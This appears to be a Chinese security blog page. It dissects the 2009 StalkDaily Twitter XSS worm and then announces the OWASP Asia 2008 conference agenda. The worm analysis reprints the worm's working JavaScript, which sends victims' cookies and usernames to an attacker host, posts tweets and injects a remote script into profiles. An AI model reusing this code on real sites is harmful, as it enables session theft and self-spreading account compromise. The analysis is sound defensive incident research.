ret = encodeURIComponent(ret);

for (search in histogram) {
replace = histogram[search];
ret = replacer(search, replace, ret)
}

return ret.replace(/(\%([a-z0-9]{2}))/g, function(full, m1, m2) {
return "%"+m2.toUpperCase();
});

return ret;
}

var content = document.documentElement.innerHTML;
userreg = new RegExp(/<meta content="(.*)" name="session-user-screen_name"/g);
var username = userreg.exec(content);
username = username[1];

var cookie;
cookie = urlencode(document.cookie);
document.write("<img src='http://mikeyylolz.uuuq.com/x.php?c=" + cookie + "&username=" + username + "'>");
document.write("<img src='http://stalkdaily.com/log.gif'>");

function wait()
{
var content = document.documentElement.innerHTML;

authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
var authtoken = authreg.exec(content);
authtoken = authtoken[1];
//alert(authtoken);

var Randomupdate=new Array();
randomUpdate[0]="Dude, www.StalkDaily.com is awesome. What's the fuss?";
randomUpdate[1]="Join www.StalkDaily.com everyone!";
randomUpdate[2]="Woooo, www.StalkDaily.com :)";
randomUpdate[3]="Virus!? What? www.StalkDaily.com is legit!";
randomUpdate[4]="Wow...www.StalkDaily.com";
randomUpdate[5]="@twitter www.StalkDaily.com";

var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];

updateEncode = urlencode(genRand);

var xss = urlencode('http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><a ');

var ajaxConn = new XHConn();
ajaxConn.connect("/status/update", "POST", "authenticity_token="+authtoken+"&supdates="+updateEncode+"&tab=home&update=update");
var ajaxConn1 = new XHConn();
ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[url]="+xss+"&tab=home&update=update");
}
setTimeout("wait()",3250);


這隻蠕蟲利用了twitter的XSS漏洞,感染twitter使用者profile的「location」或「web」欄位,寫入惡意javascript(來源:hxxp://http://mikeyylolz.uuuq.com/x.js)。這隻javascript一方面會已被感染之使用者帳號發出tweet,推「www.stalkdaily.com」這個網站,一方面則會在其他使用者瀏覽該profile時,成功感染並散播。

程式碼很短,我們來研究一下,重點從第73行開始。73-76行,利用regex找出該受害使用者之正確twitter帳號。78-80行,會將該使用者之帳號與cookie傳給mikeyylolz.uuuq.com,成功盜取使用者登入資訊,以後攻擊者可以利用此資訊以受害者身份登入。
接下來攻擊程式就要透過twitter的HTTP POST介面來修改使用者之「web」欄位,插入惡意javascript,以感染其他使用者了。83行開始是一個wait()函式,要過三秒後才會執行。85-89行利用regex找出「form_authenticity_token」這個表單變數。Twitter使用該隱藏之表單變數來對應session,應該有避免CSRF漏洞之用意。所以呼叫twitter的HTTP POST介面時,都需要帶此變數。93-102行,內建了六個要以受害者名義發出之tweet,主要都是推「www.stalkdaily.com」這個網站,並隨機選一個tweet,準備發送。104行是實際的XSS攻擊碼,插入惡意javascript。106-109,四行的程式做了兩件事:a)透過twitter的HTTP POST介面,發出假tweet,以及b)同法,修改「web」,以便感染其他使用者。

我們複製該攻擊,並用paros觀察,確定可以成功,唯目前twitter已經將字串過濾,有效修補了此XSS漏洞:




這個攻擊不需要特殊的權限才能進行。攻擊者可以先註冊幾個twitter帳號,並在該帳號之「web」欄位插入惡意javascript,並藉由該帳號發出一些吸引人之tweet,或開始跟隨別人。很多人會自動跟隨他們的跟隨者,所以你跟隨很多人之後,會自然有些人跟隨你,或至少會有人看一下你的profile,看看你是誰。一看你的profile,該使用者的「web」欄位就會被感染了,蠕蟲也就靠此散播。

根據網友在TechCrunch留言表示,該XSS漏洞於一星期前仍不存在,應該是最近twitter小幅改版造成的,沒想到很快就遭到利用。事發當初,StalkDaily於首頁上發表聲明,表示該站絕對與事件無關:



但是由於一下子感染太多人,一下子紙包不住火,很快地,StalkDaily的創辦人,17歲的Mikeyy Mooney就接受BNOnews採訪,承認是他寫的蠕蟲,同時也在網站登出了聲明:



報導中說,Mikeyy才17歲。這個事件當然讓我們想到了著名的Samy。2005年,當時才19歲的Samy,也是寫了一隻類似(但較複雜)的蠕蟲,很快的在MySpace上散播,並因為散播太快而導致MySpace當機。Samy當時被美國秘密警察逮捕,判三年緩刑與90天的社區服務。在OWASP US 2007會議上,OWASP有邀請Samy來演講,以下照片是演講完時Samy與阿碼同事討論的情形(上圖從左:阿碼Walter、Kuon、Jordan、Chris、Matt,白色衣服為Samy,下圖:阿碼Kuon送Samy一件armorize 31337 tshirt)。


Samy表示,那時他才19歲,為了跟女友打賭他可以在MySpace上擁有很多粉絲,將他設成英雄(Hero),但是又達不到,才突然想到不如寫隻程式作弊好了!當時Samy不懂資安,也不懂什麼是XSS弱點,只是稍微研究了一下MySpace,就發現有漏洞可以利用。蠕蟲出去後,很快地,Samy有了支持者,他們的profile上面加了一行:「Samy's my hero!(Samy是我的英雄)」。Samy得意了以後一想不對,這個蠕蟲的散播是exponential的,不是linear的,天哪!於是他趕快上MySpace,把自己的帳號刪除,但是結果發現MySpace說,帳號無法立即刪除,但是稍後會刪除。第二天起床,他連往自己的帳號,連不到,心想,好在好在,帳號刪除了,我沒事...但是結果連往女友的帳號,發現也連不上,後來發現所有朋友的帳號都連不上...原來MySpace當機了!Samy從此活在恐懼中,直到有一天,果然,他回家,就被秘密警察逮捕了。

Samy的並沒有被判很重的刑,因為他其實不懂資安,也沒有利用XSS弱點來偷別人的帳號,只是單純的把別人的帳號加了一行:Samy是我的英雄,並植入惡意javascript感染他人。當時他演講時,還是不能碰電腦的(只有工作時可以碰電腦),所以由OWASP工作人員幫他操作投影片。

這次Mikeyy Mooney比Samy更年輕,只有17歲,但是如果被逮捕,可能不一定這麼好過,因為程式碼中之地80行,明顯地是在偷他人的帳號與cookie,並回傳至自己的網站。住在紐約的Mikkey在之後的Net News Daily訪問中表示,他是於一個星期前發現該XSS漏洞,並於昨晚花了兩個小時寫出了此蠕蟲。在被問到還會不會寫新的蠕蟲時,他表示不確定,如果twitter的程式還不正確的處理變數,那就有可能。相對於那時純粹出於好玩而犯錯的Samy,Mikeyy的這些談話,加上剛才我在youtube上發現他之前就有把打其他站的過程上傳,我覺得...Mikeyy最好保重,我不認為法官會像Samy一樣處理Mikeyy,也不覺得大家會那麼容易像原諒Samy一樣原諒Mikeyy。

此外,根據蒐集的資料,Mikeyy後來也將該惡意javascript編碼,譬如以下tweet的回報:



解出來為content.ireel.com/xssjs.js,目前檔案還在,內容節錄如下:

var _0x8da4=["\x4D\x73\x78\x6D\x6C\x32\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x63\x6F\x6E\x6E\x65\x63\x74","\x74\x6F\x55\x70\x70\x65\x72\x43\x61\x73\x65","\x47\x45\x54","\x3F","\x6F\x70\x65\x6E","","\x4D\x65\x74\x68\x6F\x64","\x50\x4F\x53\x54\x20","\x20\x48\x54\x54\x50\x2F\x31\x2E\x31","\x73\x65\x74\x52\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","

單純16進位編碼,不是什麼特殊的混碼(obfuscation),解出來程式跟上面的大同小異。
此外,根據蒐集的資料,twitter很明顯地在不只一個欄位有XSS漏洞,而Mikeyy也成功利用了其他欄位。twitter不見得能找到所有含有XSS漏洞的程式碼,再加上Mikeyy表示不一定就此罷手,故往後仍有一些風險。

結論:
1. 受感染之Twitter使用者會發出tweet,幫StalkDaily打廣告
2. 受感染之Twitter使用者會遭受惡意javascript偷帳號與cookie(等同密碼)
3. 瀏覽受感染使用者之profile,就會被感染,並被偷密碼
4. Twitter已經承認該蠕蟲為利用Twitter之XSS漏洞,並已經修復漏洞
5. 我們測試,攻擊確實為有效攻擊
6. 負責傳播惡意javascript程式的網址目前已知有:
A. mikeyylolz.uuuq.com (已被停用)
B. content.ireel.com(還在)
C. omghax.uuuq.com(已被停用)
D. www.stalkdaily.com
E. bambamyo.110mb.com

建議被感染之使用者:
1. 登出twitter,清除瀏覽器cache與cookies
2. 如為視窗系統可以修改hosts檔,通常在C:\Windows\System32\drivers\etc或類似目錄下,並加入以下五行,可以防止瀏覽器下載該惡意javascript:
A. 127.0.0.1 mikeyylolz.uuuq.com
B. 127.0.0.1 content.ireel.com
C. 127.0.0.1 omghax.uuuq.com
D. 127.0.0.1 www.stalkdaily.com
E. 127.0.0.1 bambamyo.110mb.com

3. 可考慮利用firefox的noscript外掛,避免惡意javascript執行。
4. 重新登入twitter
5. 刪除所有被蠕蟲冒發之tweet訊息
6. 將被修改之profile欄位修正(profile關閉者注意是否有被打開)

觀察:
1. 過了三年,從Samy到Mikeyy,XSS漏洞還是那麼容易產生與利用
2. Mikeyy今年17歲,花了兩個小時就寫好此蠕蟲
3. twitter的介面已經夠簡單了還是沒法避免有XSS漏洞

作者 Wayne 為阿碼科技CEO
p.s. 看中文的朋友,我的中文twitter:http://twitter.com/waynehuang2
(以下為好友Jeremiah與RSnake(ha.ckers.org / sla.ckers.org)穿著「SAMY IS MY HERO(Samy是我的英雄)」Tshirt,於OWASP-WASC 2007與Samy的合照)

(來源:http://garrettgee.com


後記:Sans與F-Secure都出來講話了(連結),但是我們快一些 :)
後後記:不幸言中,Mikeyy四代與五代隔天爆發,見下一篇:「漏洞修補不完,Twitter 蠕蟲五度發威:詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節
後後後記:很不幸,twitter在五代之後還是沒正確修改漏洞,六代捲土重來,相關文章如下:

2009/04/19 「為何XSS(跨網站腳本)漏洞難改?以twitter Mikeyy六代蠕蟲說明」
2009/04/14 「漏洞修補不完,Twitter 蠕蟲五度發威:詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節」
2009/04/12 「17歲少年:twitter XSS worm「stalkdaily worm」蠕蟲是我做的」(本篇)


繼續閱讀全文...

2008年10月4日

2008 OWASP 亞洲年會 議程公布,共兩天!

(轉貼自http://owasp.org.tw/blog,請大家幫忙告訴大家,請盡量幫忙轉貼,感謝!)
首先感謝大家對於去年的「第一屆 OWASP 亞洲官方年會」的支持,讓我們全場 650 個位子座無虛席!


2008 OWASP 亞洲年會今年議程終於出爐了,由一天改成兩天(10/27~28),先簡單公布如下:


( 2008/10/27 ) - Day 1 第一天
Time
Topic
Speaker
09:15~09:30
主席致詞:今年大會內容簡介Wayne 黃耀文
OWASP 台灣分會主席
09:30~09:45
資策會長官致詞
TBD
09:45~10:00
中華軟體協會資安促進會長官致詞陳振楠 會長
10:00~11:00
我在 Foundstone 的日子:Web 威脅與防禦實例
YM Chen 陳彥銘
McAfee Foundstone
11:10~12:00
網站掛馬研究:Web 惡意程式寫法與偵測技術大公開
Wayne 黃耀文
Jeremy 邱銘彰
阿碼科技
12:00~13:00
午餐休息,請多彼此認識並與講師互動!
13:00~13:50
修改密碼無效!駭客還是在收取您的電子郵件!林佳明
14:00~14:50
網路犯罪研究與五千萬筆個資外洩事件調查建議叢培侃 PK
余俊賢 Jack
14:50~15:10
Coffee Break 中場點心休息,請多彼此認識並與講師互動!
15:10~16:00
網站被駭的真實故事集(英文)
Real Stories of Website 0wnage
Fyodor
Guard-Info
16:10~16:40
Web proxy 造成的資安威脅:以近日 Google Docs 0-day 為例(英文)
Proxy Caches and Web Application Security--using the recent Google Docs 0-day as an example
Tim Bass
OWASP 泰國分會主席
16:40~17:10
Web 滲透測試與風險評估(英文)Dhruv Soi
OWASP 印度年會主席
OWASP 印度分會主席





( 2008/10/28 ) - Day 2 第二天 (全天英文)
Time
Topic
Speaker
09:30~09:45
長官致詞
TBD
09:45~10:00
長官致詞TBD
10:00~11:00
Web 0day 大威脅:Clickjacking(九月OWASP美國年會禁講)(全球首播)
New 0-Day Browser Exploits: Clickjacking - yea, this is bad...
Robert "RSnake" Hansen
SecTheory
11:10~12:00
Web 2.0時代各種資安技術比較與市場分析(今年 OWASP 美國年會演講)
Web 2.0, Consumerization, and Application Security
Chenxi Wang, Ph.D.
Forrester Research
12:00~13:00
Lunch Break 午餐休息,請多彼此認識並與講師互動!
13:00~13:50
如何做好商業滲透測試(今年 OWASP 印度年會演講)
Good Business Penetration Testing
KK Mookhey
OWASP 孟買分會
NII
14:00~14:50
Web 防火牆(WAF)最佳實務指引(今年 OWASP 美國年會與歐洲年會演講)
Best Practices Guide: Web Application Firewalls
Alexander Meisel
OWASP 德國分會
art of defence
14:50~15:10
Coffee Break 中場點心休息,請多彼此認識並與講師互動!
15:10~16:00
Web 上之僵屍網路與 DDoS 研究(今年 OWASP 美國年會演講)
The HTTP Botnet Research: Focusing on HTTP based DDoS Botnets
Steven Adair
ShadowServer Foundation
16:10~17:00
論壇:黑箱、白箱、還是 WAF 防火牆?工具好還是顧問好?
Chenxi、Robert、YM、Fyodor、KK、Dhruv、Alex、Tim Bass
主席:Wayne
★ 主辦單位保留變更活動內容及相關事項之權利。
大會場地與交通資訊
跟去年一樣,本次大會於舒適寬敞之劇院型階梯演講聽--「台大醫院國際會議中心201室」舉辦,地址為:100台北市中正區徐州路2號。交通資訊請見:http://www.thcc.net.tw/othstraffic.html


今在籌辦第二屆 OWASP 官方亞洲年會時,心中感觸特別多。OWASP 亞洲年會,都是由我們向贊助單位籌資金,然後想辦法邀到好的講師來演講。亞洲距離歐美很遠,飛來一趟要花很多時間,使得整個活動的籌辦,不但籌資金困難,邀頂尖的講師更是難上加難。同時,我們希望今年能夠達到:

1. 對於最新的 Web 攻擊手法,有深入的技術性探討,讓使用者也讓廠商能了解新的攻擊趨勢。
2. 對於防守的策略,能找到在技術上有深度,並且不帶廠商色彩的講師,對於各方面的技術,如滲透測試、黑箱或 WAF 等,都能涵蓋。
3. 站在廠商的角度,對於整個資安產業的趨勢,站在使用者的角度,對於各種技術的比較,能有具公信力的資深產業分析師來探討。
4. 對於透過 Web 的網路犯罪,能有資深的檢調單位代表來分享經驗。
5. 講師方面,希望仍有一半是外籍講師,並希望盡量是在 OWASP 其他年會演講過之講師,因為 OWASP 亞洲年會在建立的初期,需要他們來帶入 OWASP 應有的文化。

要達到以上五點,真的非常不容易,也感謝全體工作人員的努力。今年,第二屆OWASP官方亞洲年會「OWASP AppSec Asia 2008」日期與講師已經確定,會有專業同步翻譯(口譯),會有 T-shirt,也會對政府單位發正式的公文,但是由於時間緊迫,先跟各位告知。我們很感謝資策會中華民國資訊軟體協會能贊助我們,也感謝資安人雜誌能當我們的協辦媒體,讓活動能成行。大會目前還缺贊助單位,如有興趣可與我聯絡,另外只有 650 個位子,報名從速,我們這麼辛苦的準備,希望在會場能見到您!這只是一個初步的快速通知,之後會有正式的網頁,請各位隨時留意 OWASP 台灣分會官網 以及訂閱 OWASP 台灣分會部落格今年的外籍講師共有九位(美國四位,歐洲一位,印度兩位,泰國一位,俄國一位),其中為剛結束的 2008 OWASP 美國年會 的講師有四位,2008 OWASP 歐洲年會講師有兩位,2008 OWASP 印度年會講師有一位,有幾位同時為美國駭客年會 Black Hat / DEFCON 講師,其中也包括了 OWASP印度分會主席,OWASP孟買分會代表,OWASP德國分會代表,OWASP泰國分會主席。

今年的重頭戲,當然是 Robert 在今年 2008 OWASP 美國年會的演講被禁講(ITHome 報導阿碼報導)的演講,會在台北做全球首度的公開演說。英國最大 IT 媒體The Register 以「Adobe 禁止 Clickjacking 弱點的公開」大幅報導此事,RSnake 則說,原本他們覺得是一場很好的演講,但是因為漏洞像滾雪球一樣,一個漏洞導致另一個漏洞,牽涉到一個接一個廠商,導致整個弱點的嚴重性不只是嚴重,而是超級嚴重所以兩個講師決定必須等所有牽涉其中的廠商都有一定的時間反映後,才適合做揭露。我覺得這一場的重點並不光在於他要探討的 0-day 漏洞,而更在於大家對於目前 Web 的基本運作原理,以攻擊手法的了解。這些知識如果基礎打穩,在檢視自己或客戶的網站安全時,便能很容易的運用有限的時間,找到重點問題,並予以修復。駭客找漏洞,其實有很規則的思路可尋,了解這種思路後,我們一樣能一眼看出漏洞所在。

在其他種威脅方面,來自亞洲區的研究,OWASP 泰國分會主席 Tim Bass 將會講一場「Web proxy 造成的資安威脅:以近日Google Docs 0-day 為例」,台灣方面林佳明將講一場:「修改密碼無效!駭客還是在收取您的電子郵件!」

資安挑戰的整體敘述,將由 Forrester 的首席分析師 Chenxi Wang 博士來擔綱。Chenxi 曾在卡內基美隆大學(Carnegie Mellon University)擔任助理教授,為當初幫助CMU成立著名資安實驗室 CyLAB 之關鍵人物之一。目前 Forrester 出版的跟 Web 資安相關市場調查報告,都是出自她的研究。Chenxi 並會探討黑箱、白箱、WAF在技術上以及在資安投資報酬率上的差別。Chenxi 寫的幾篇對於黑箱、白箱與 WAF 的產業報告,是目前全球業界引用的重點。至少在 WAF 的市場規模方面,我只記得他的報告有確切的數字,Gartner 與 IDC 似乎都沒有,所以至少我自己參考以及我碰到的諸多廠商與投資人參考的,都是她的那篇。如果您是資安市場分析師或投資人,那您一定要撥空來!如果您是資安廠商而希望能對她公布的資料、數據與論點有意見,也歡迎前來與她當面交換!

滲透測試手法方面,有 RSnake、KK、Dhruv、YM 以及 Fyodor 五位講師,其中 KK 與 Dhruv 來自印度,KK是印度最有名的滲透測試公司 NII Consulting 的創辦人兼總經理,曾經擔任 Black Hat、Interop、IT Underground 等研討會講師,並為 Google、聯合國等大型客戶執行滲透測試專案。滲透測試的發展已經由技術導向轉變為商業導向,在預算緊縮的今天,如何有效運用時間,以最低的成本,找到最重要的漏洞?這就需要以客戶在商業營運上的風險面向為基礎,來建立相對應的滲透測試項目,例如現今企業面對的商業間諜(corporate espionage)、金融詐騙(financial fraud)等威脅嚴重,因此就需要有對應的滲透測試情境,如社交工程攻擊(social engineering)、實體安全演練等,才能提供更有價值的商業導向滲透測試服務。

為何我選了兩位來自印度的講師來講滲透測試?我在印度聽過 KK 的課,也看過印度大大小小的滲透測試團隊實際上執行專案的情形。我的看法是,印度以軟體產業立國,但是並不是一開始就能從專業的軟體開發案獲利。就如同我們以電子製造業起飛,但是我們是慢慢由做勞力密集的聖誕燈泡,到做收音機,到做 PC 、筆電、手機,慢慢從勞力密集轉而能獨立研發。印度也一樣,軟體產業發展的初期,很依賴勞力密集的軟體測試。所以對於軟體測試的方法論,流程,執行,測試環境的設計,測試資料的建立,到與客戶的溝通,專案的執行等,非常的有經驗,因為這是他們的本行!滲透測試的技術研究,不計成本,目的在找到漏洞,這個歐美的研究員做得很好。可是商業滲透測試,講的是如何有效運用預算,了解客戶需求,達到最大效果,在這方面,印度的軟體測試產業行之有年,商業模式很成熟,我相信他們的經驗會對各位有幫助。

滲透測試與其他顧問服務,在美國又是如何進行的呢?McAfee Foundstone 是美國前幾大專門的資安顧問公司,陳彥銘自 CMU 畢業之後,就加入了 Foundstone 至今,以經是資深的 Director,帶領 Foundstone 團對於美國各地進行滲透測試、顧問服務與教育訓練。他將以「我在 Foundstone 的日子:Web 威脅與防禦實例」,與各位分享他的經驗。

在台灣的滲透測試方面,來自俄羅斯的 Fyodor 長期於台灣進行滲透測試,他將以一場「網站被駭的真實故事集」,探討這許多年來,他在台灣看到的種種真實故事,讓各位直接接觸這些造成嚴重損失的 Web 漏洞--很多漏洞看了會心一笑,原來這樣設計也會有漏洞。攻擊方法並不難,但是簡單的錯誤卻會造成嚴重的損失。

Web 防火牆 WAF 方面,我選擇跟跟今年美國年會、歐洲年會一樣,由德國 OWASP 分會的 Alex Meisel 來負責。Alex Meisel 上個月在美國年會,以及之前在今年歐洲年會,以德國分會的名義,發表了一篇 whitepaper:「Web 防火牆(WAF)最佳實務指引」(Best Practices Guide: Web Application Firewalls),很受大家肯定,如果您目前正困擾 WAF 該如何選擇,歡迎來與 Alex 探討!

網站掛馬方面,全球最有權威性的組織之一,就是 ShadowServer Foundation 了。ShadowServer Foundation 長期監控全球僵屍網路(botnet)與網站掛馬,擁有豐富資料,堪稱美國此方面研究最深入之組織之一。今年的美國年會,找了 ShadowServer Foundation 的重要成員 Steven Adair 來擔任這方面的講師,我也非常努力的邀到他來台灣與各位互動。如果有需要與 ShadowServer Foundation 交換情報與研究資料的單位,請與我聯絡!

對於亞洲區網站掛馬的研究,邱銘彰一向是大家很肯定的研究員之一,他也是各會議爭相邀請的講師。我跟他從不認識到認識到變成朋友到變成同事,也從他身上學到不少寶貴的知識。我們將一起公開一份我們最新的掛馬研究,是我們先用英文寫完,然後也翻成中文的,努力了半年,留在 OWASP 亞洲年會發表。我們將探討目前掛馬的工具與手法,仔細研究各種惡意 javascript 的寫法以及變形、加殼與資料隱藏的技術,並與各位討論為何惡意 javascript 這麼難偵測。由於我長期研究動態與靜態分析技術,我也會探討這兩種技術應用於網站掛馬偵測時的優劣。

對於亞洲利用 Web 攻擊的犯罪手法與事件分析,則由 PK 與 Jack 來負責講「網路犯罪研究與五千萬筆個資外洩事件調查建議」。很多圈內朋友稱 PK 為「台灣鑑識一哥」,Jack 則也多年研究網路攻擊於軍事上之應用,希望他們一起的演講,能讓各位對於層出不窮的 Web 網路犯罪,有更深入的了解。

最後,基本上,各地的 OWASP年會希望達到以下目的:
1. 由年會選出來的頂尖講師,對於最新的攻擊方法,防禦技術,以及客戶的成功案例,提供最新資訊與經驗分享。
2. 對於各界資安人士,包含各國OWASP成員,業界資安主管及IT從業人員,各國政府、軍方及情治單位,以及投入資安市場之廠商、代理商、系統整合商以及顧問公司,提供一個交流的機會,讓大家相互認識,分享經驗以及交流技術。

OWASP 每年有兩次官方會議,一次在歐洲,一次在美國。由於 OWASP 為 Web 資安之最大國際組織,其所定義之標準被五大信用卡公司之 PCI 標準、美國聯邦貿易委員會、FBI、美國國土安全部,以及各國政府所採用,故OWASP每年之官方年會,除了為年度世界資安頂尖人物必到之大會,更為各國政府,企業以及資安產業必定派人參加之國際盛會。我國行政院研考會之「Web應用程式安全參考指引」,亦將 OWASP Top 10 列為重要參考標準。

我想會議能夠在台北舉行,一方面證明了台灣資安之能量,展現了台灣各指導機關多年致力於資安意識之提升,各學術單位致力於資安基礎與應用之研究,產業界致力資安產品之研發與整合,以及媒體致力於各領域資安訊息之分析等之成果;一方面也證明了,台灣在資安有其獨特之政治與軍事意義,由於對資安有高於他國之需求,也造就了我們資安實力與經驗之累積,能夠在多年努力後,開始與他國分享我們的成果。最後最主要的,是大家踴躍的報名。您對於 OWASP活動的支持,是這次會議能夠在台北舉行之關鍵。因為這表示台灣有足夠的人士,在關心資安的議題,在投入資安的研究,您上次的出席,也讓我們有動力,再次募款並邀請最頂尖的講師前來。看到了這次講的的陣容,不難想像我們要在工作的空餘時間,募集資金,負責所有講師的機票與住宿,行程安排,簽證取得,大家真是把命賣了在做,希望您能把握這次機會,準時來參加活動,一方面從最頂尖的講師接觸最新的資安訊息,一方面也與大家認識。

去年超過1000人報名,卻因場地席次限制,許多欲與會者無法順利出席去年年會,座位有限,今年請早報名。
報名請直接回給我或 email 給:info@owasp.org.tw

1. 姓名:
2. 單位(或學校):
3. 職稱:
4. 電話:
5. Email:
6. 是否需要同步翻譯耳機? 如果是,是否用 200 元加購?還是放棄 T-shirt?
7. 中餐是否需素食?
8. 統一編號?公司 title?
9. 是否是學生票?學生票是否加購中餐(一天?兩天?)?加購 tshirt?

報名後三個工作天會收到匯款方式,匯款後三個工作天會收到序號,請用序號入場,如果沒有收到可以來電詢問:(02) 6616-0100 ext 111 林先生。
時間:97年10月27至28日(星期一至二) 09:00-17:00<
地點:台大醫院國際會議中心 201 室 (台北市中正區徐州路二號)
費用:
1. 全票 NTD 1000 元整(幫忙負擔午餐、點心、場地、T-shirt與機票費用等、不含耳機)
2. 學生票 NTD 300 元整(不含便當、如需便當一天 100 NTD, T-shirt 要另購,一件 300 NTD)
同步翻譯:會有專人同步翻譯(不是我們自己的工作人員,是外聘的同步口譯人員),同步翻譯耳機 200 元外加,或是放棄 T-shirt
T-Shirt:會有
公家單位公文: 會由最大贊助單位資策會發公文,以利請假作業

講師簡歷 (中文版)
Robert Hansen (aka“RSnake”)--SecTheory
CISSP、SecTheory 的 CEO,曾四次演講於 Black Hat,今年並為 Black Hat 與 DEFCON 雙講師(這裡有報導)。與 Jeremiah Grossman 著有知名之「XSS」一書(Syngress出版),今年 2008 OWASP 美國年會 的演講被禁講(ITHome 報導阿碼報導),為今年大會最轟動之事。他將在台灣首次公開此次禁講之內容。RSnake之部落格 ha.ckers.org 與論壇 sla.ckers.org 為駭客界被訂閱最多之部落格/論壇之一。負責 O'Reilly 與 Dark Reading 線上專欄(Snake Bytes @ Dark Reading),除了 Black Hat / DEFCON 之外,也在各大研討會中擔任講師,包含OWASP年會、微軟 Bluehat、WASC 各會議、Networld+Interop、SourceBoston、 Secure360、GFIRST/US-CERT、Toorcon、APWG、ISSA以及TRISC等會議。

RSnake曾任 eBay 資深全球產品資安經理、通訊網路公司資安架構師,工作內容是 anti-phishing、anti-DHTML malware,也曾擔任 Realtor.com 的產品管理總監。參與 NIST.gov 的 Software Assurance Metrics and Tool Evaluation 及 Web Application Security Scanners Evaluation Criteria (WASC-WASSEC)專家群組,也是
Infragard 、WASC、IACSP、 APWG、ISECOM 成員。

Steven Adair—ShadowServer Foundation
Steven Adair 是 ShadowServer Foundation 的重要成員之一,也是這次 2008 OWASP 美國年會的講師。ShadowServer Foundation 長期監控全球僵屍網路(botnet)與網站掛馬,擁有豐富資料,堪稱美國此方面研究最深入之組織之一。

Alexander Meisel—OWASP 德國分會、art of defence
Alexander Meisel 是德國 art of defence 公司技術長,負責該公司之 Web應用程式防火牆(Web application firewall、WAF)之研發。之前在歐洲最大的ISP-LINX擔任網路安全首席,曾負責大規模的網站安全稽核與流量管理,專長為Web Security。他的安全專業可以追朔到在學階段所提出的預防與追蹤DDoS攻擊研究。Alex 是今年 2008 OWASP 美國年會與 2008 OWASP 歐洲年會的講師。

K. K. Mookhey—OWASP孟買分會、NII Consulting
印度最有名的滲透測試公司 NII Consulting 創辦人兼總經理,專長為滲透測試、資安鑑識、風險評估、資安相關規範(PCI、ISO 27001、BS 25999、ISO 20000)、IT基礎架構管理等。擁有CISSP、CISA、CISM、CEH等證照。是印度最知名的資安專家之一,著作有Linux Security And Control(ISACA 出版)與 Metasploit Toolkit(Syngress出版)兩本專業書籍。KK 為今年 2008 OWASP 印度年會講師,並曾經擔任 Black Hat、Interop、IT Underground 等研討會講師,並為 Google、聯合國等大型客戶執行滲透測試專案。

Chenxi Wang, Ph.D.—Forrester Research
Dr. Chenxi Wang 是全球前三大市場調查研究機構 Forrester Research 的首席分析師,Forrester 出版的跟 Web 資安相關市場調查報告,都是出自她的研究。在加入 Forrester 之前,Dr. Wang 在卡內基美隆大學(Carnegie Mellon University)擔任助理教授,為當初幫助CMU成立著名資安實驗室 CyLAB 之關鍵人物之一。在 CMU 期間,Chenxi 負責執行了上百萬美元預算的研究專案,包過與美國國防部以及美國國家科學基金會(National Science Foundation、NSF)的共同研究專案。Chenxi 也曾擔任美國聯邦貿易委員會(Federal Trade Comission、FTC)、HP、Emerson、Lucent 等單位的資安顧問。

Chenxi 為今年 2008 OWASP 美國年會的講師,並定期在各大資安會議演講,其言論與發表常被美國主流媒體引述,包含 New York Times / InfoWorld 等媒體。

Wayne Huang(黃耀文)—OWASP台灣分會主席、Armorize 阿碼科技(大會主席)
Wayne 為 OWASP 台灣分會會長,也是阿碼科技的創辦人兼執行長,對於推動台灣的資安社群,不遺餘力,在台灣舉辦 SySCAN、OWASP 亞洲年會等資安會議。

Wayne 是一位豐富經驗的資訊安全專家,專長領域包括,網路、系統及應用程式安全。Wayne 最為人所熟知的專長領域在網頁應用程式安全,並在全世界發表了許多相關主題的期刊論文。除此之外,Wayne 也時常受邀擔任全球安全會議的演講者,包含 RSA、OWASP、SySCAN、WWW、PHP 與 DSN 等。Wayne 同時也是阿碼科技在推動技術創新的重要推手。

Wayne 是第一位連續二年在國際全球資訊網路會議(WWW Conference)獲獎的作者,並且是 《 Web Application Security-Past,Present,and Future 》一書的共同作者。

Yen-ming Chen (YM Chen) —McAfee Foundstone
Yen-Ming 於 2000 年加入 Foundstone 顧問團隊,現職為 McAfee Foundstone 的 Director,帶領 Foundstone 團隊於美國各地執行各種資安專案。Yen-Ming並為 Foundstone「Ultimate Hacking」、「Ultimate Hacking Expert」、「Ultimate Web Hacking」、以及「Ultimate Hacking: Incident Response」等四門課的首席講師。在加入Foundstone之前,他在CMU網路安全中心,曾參與Snort開發,製造出第一個在磁片上的Snort sensor(PicoBSD)。是Hacking Exposed、Hacking Exposed for Web Application、Windows XP Professional Security及HackNotes: Web Application Security的四本書的共同作者。Yen-Ming 曾被 BBC 採訪,並經常於國際大型研討會擔任主要講師,其中包含 PacSec、HITB、HACK.LU、台灣駭客年會、CSI、MISTI、APAC 等會議。

Fyodor Yarochki—GuardInfo
Fyodor經常擔任各國際駭客年會之講師,包含Black Hat 2001 HK、Black Hat 2001 Singapore、Black Hat 2002、Ruxcon 2003、XCon 2003 / 2006、HITB 2004 / 2005、SyScan 2005 / 2008、Bellua 2005、VNSecurity 2007、DeepSec 2008等。他於頂尖資安學術會議與地下雜誌皆有重要文章發表,包含Usenix Conference與Phrack
Magazine(最具影響力之地下駭客雜誌)。Fyodor並為Snort最早的開發者之一,目前仍為Snort FAQ的維護者。Fyodor並為XProbe的創辦人。

PK
